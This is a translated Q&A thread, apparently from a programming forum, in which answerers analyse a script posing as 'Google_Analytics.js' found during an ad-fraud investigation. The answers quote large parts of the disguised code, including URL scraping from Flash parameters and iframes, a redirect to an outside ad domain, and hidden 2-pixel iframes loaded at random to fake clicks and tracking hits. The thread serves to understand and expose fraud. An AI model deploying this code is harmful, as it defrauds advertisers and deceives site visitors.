我正在调查可能发生的大型广告欺诈事件,并且在跟踪面包屑时遇到了一个名为“Google_Analytics.js”的javascript页面,显然不是这样。
我已将原始代码放在此处:http://pastebin.com/5YqzCVbB
我不熟悉javascript之前已经看过类似的东西,或者知道它的目的是什么。
这里有人可以提供帮助吗?
提前感谢您的任何帮助!
d
答案 0 :(得分:1)
嗯,这不是谷歌分析,但看起来它故意试图欺骗GA,让人们认为某些东西被点击的次数超出应有的水平。
这是什么?好吧,有一堆与创建Flash对象相关的代码。还有一个大白名单,大概是这个应该影响的页面。就是这样:
if (follow.length > 0) {
rand = randomFromTo(100, 700);
rand2 = randomFromTo(1, 6);
if (rand == 666) {
$('<iframe />', {
name: 'follow_analytics',
id: 'follow_analytics',
style: 'width:2px;height:2px;display:none;',
width: '2',
height: '2',
src: follow[0]
}).appendTo('body');
if (trk_value[$.inArray(1 * (follow[0].match(/cid=([\d]*)/)[1]), tracking)]) {
if (rand2 == 1) {
$('<iframe />', {
name: 'trk_analytics',
id: 'trk_analytics',
style: 'width:2px;height:2px;display:none;',
width: '2',
height: '2',
src: 'tracking.html?' + trk_value[$.inArray(1 * (follow[0].match(/cid=([\d]*)/)[1]), tracking)]
}).appendTo('body');
}
}
};
}
这似乎意味着人为地夸大数字:600中的一部分。其中六分之一应该被追踪或者其他东西。但我对谷歌分析知之甚少,所以我无法帮助你。
答案 1 :(得分:1)
简短的回答是,它试图从各种来源(全局Javascript变量,Flash参数和iframe src)中找到页面上的URL。如果它找到了所述URL,并且选择了正确的随机数(666,在100和700之间随机选择),则它在页面上创建该URL的iframe。
然后,它在两个静态数值列表中的第一个中找到的URL中查找“CID”。如果在该列表中找到CID,则它从另一个列表中获取相应的数值。然后,如果选择第二个正确的随机数(1,在1和6之间随机选择),它将附加第二个iframe。该iframe的网址为tracking.html?x
,其中x
是从CID转换中找到的数值。
不打算看到iframe。
这是简短的答案,但如果您需要更多详细信息,请参阅下文。我真的希望你可以从中获得一些价值,因为我对广告和广告行为了解不足以了解它真正想要实现的目标。
首先,它尝试创建一个函数,但这似乎是一个诱饵,因为它只是创建一个看起来像代码的字符串。此外,它永远不会被调用。
var analytics_obj=function(){
var b='undefined",Q="object",n="Shockwave Flash",p="ShockwaveFlash.ShockwaveFlash",P="application/x-shockwave-flash",m="SWFObjectExprInst",j=window,K=document,T=navigator,o=[],N=[],i=[],d=[],J,Z=null,M=null,l=null,e=false,A=false;var h=function(){var v=typeof K.getElementById!=b&&typeof K.getElementsByTagName!=b&&typeof K.createElement!=b,AC=[0,0,0],x=null;if(typeof T.plugins!=b&&typeof T.plugins[n]==Q){x=T.plugins[n].description;if(x&&!(typeof T.mimeTypes!=b&&T.mimeTypes[P]&&!T.mimeTypes[P].enabledPlugin)){x=x.replace(/^.*\s+(\S+\s+\S+$)/,"$1");AC[0]=parseInt(x.replace(/^(.*)\..*$/,"$1"),10);AC[1]=parseInt(x.replace(/^.*\.(.*)\s.*$/,"$1"),10);AC[2]=/r/.test(x)?parseInt(x.replace(/^.*r(.*)$/,"$1"),10)}}else{if(typeof j.ActiveXObject!=b){var y=null,AB=false;try{y=new ActiveXObject(p+".7")}catch(t){try{y=new ActiveXObject(p+".6");AC=[6,0,21];y.AllowScriptAccess="always"}catch(t){if(AC[0]==6){AB=true}}if(!AB){try{y=new ActiveXObject(p)}catch(t){}}}if(!AB&&y){try{x=y.GetVariable("$version");if(x){x=x.split(" ")[1].split(",");AC=[parseInt(x[0],10),parseInt(x[1],10),parseInt(x[2],10)]}}catch(t){}}}}var AD=T.userAgent.toLowerCase(),r=T.platform.toLowerCase(),AA=/webkit/.test(AD)?parseFloat(AD.replace(/^.*webkit\/(\d+(\.\d+)?).*$/,"$1"))false,q=false,z=r?/win/.test(r),w=r?/mac/.test(r)/mac/.test(AD);}'
};
请注意,var b=
以单引号开头,该行以单引号结尾。中间没有任何其他单引号,所以它只是一个看起来像代码的长字符串。除非它意味着要通过eval()
(我在这个脚本中没有看到eval()
),否则它只是一个诱饵。
其次,它创建了一个函数,这是获取随机数的简单简写。
第三是最可怕的部分。它试图捕获一个URL。首先,它尝试一个名为click_url2
的变量,该变量未在此处声明,因此它必须尝试将其从另一个脚本中删除。
如果失败,它会尝试在其FlashVars或网址中有clickTag=
或click=
的网页上找到一个Flash动画,并在=
之后捕获该值。
如果失败,它会查找包含src且其中包含以下文字的iframe:click=
或CPSC@=
,然后是http://media.fastclick.net/w/click.here
和forced_click=
,并捕获所有文字均以http
开头,以forced_click=
结尾。它会附加网址:http://cc.openxads.org/clothedcanines.com/popped_content.html
。
此行为如下:
try {
follow.push(click_url2);
} catch(e){
try {
follow.push(unescape($('object param[name="flashvars"]').attr('value').match(/clickTag=([^&]*)/)[1]));
} catch(e){
try {
follow.push(unescape($('object param[name="movie"]').attr('value').match(/clickTag=([^&]*)/)[1]));
} catch(e){
try {
follow.push(unescape($('object param[name="FlashVars"]').attr('value').match(/clickTag=([^&]*)/)[1]));
} catch(e){
try {
follow.push(unescape($('embed').attr('flashvars').match(/clickTag=([^&]*)/)[1]));
} catch(e){
try {
follow.push(unescape($('embed').attr('flashvars').match(/click=([^&]*)/)[1]));
} catch(e){
try {
follow.push(unescape($('iframe').attr('src').match(/click=(http:\/\/media\.fastclick\.net\/w\/click\.here.*forced_click=)/)[1])+"http%3A%2F%2Fcc.openxads.org%2Fclothedcanines.com%2Fpopped_content.html");
} catch(e) {
try {
follow.push(unescape($('iframe').attr('src').match(/CPSC@=(http:\/\/media\.fastclick\.net\/w\/click\.here.*forced_click=)/)[1])+"http%3A%2F%2Fcc.openxads.org%2Fclothedcanines.com%2Fpopped_content.html");
} catch(e) {};
};
};
};
};
};
};
};
之后,它声明了两个非常长的数字数组。我不知道它们是什么,但基于后来的行为,它们似乎是平行的。
如果发现上述任何条件(变量,闪存或iframe),它将继续。如果没有失败。
此时将选择两个随机数,第一个在100和700之间,第二个在1和6之间。
如果选择的第一个数字是666,它将在页面上创建一个iframe,非常小且隐藏,不打算查看。 iframe的src将等于上面设法捕获的任何URL。
if(rand==666){
$('<iframe />', {
name:'follow_analytics',id:'follow_analytics',style:'width:2px;height:2px;display:none;',width:'2',height:'2',src:follow[0]
}).appendTo('body');
然后(如果第一个数字是666),那就是棘手的部分。它将尝试在之前捕获的URL中找到cid=
,并捕获它的(预期数值)值。将针对之前声明的其中一个数组检查此数值。如果找到,它将从与其找到的值相同的索引处获取另一个数组中的值。从本质上讲,这只是一个转换表,将所谓的CID更改为不同但相应的数值。
所以,如果那个匹配,那么如果第二个随机数(1到6之间)是1,那么它只会附加第二个iframe。第二个iframe的src将是tracking.html?
,附加它从第二个数组获得的数值,其值是通过匹配第一个数组得到的。
if(trk_value[$.inArray(1*(follow[0].match(/cid=([\d]*)/)[1]),tracking)]){
if(rand2==1){
$('<iframe />', {
name:'trk_analytics',id:'trk_analytics',style:'width:2px;height:2px;display:none;',width:'2',height:'2',
src:'tracking.html?'+trk_value[$.inArray(1*(follow[0].match(/cid=([\d]*)/)[1]), tracking)]
}).appendTo('body');
}
}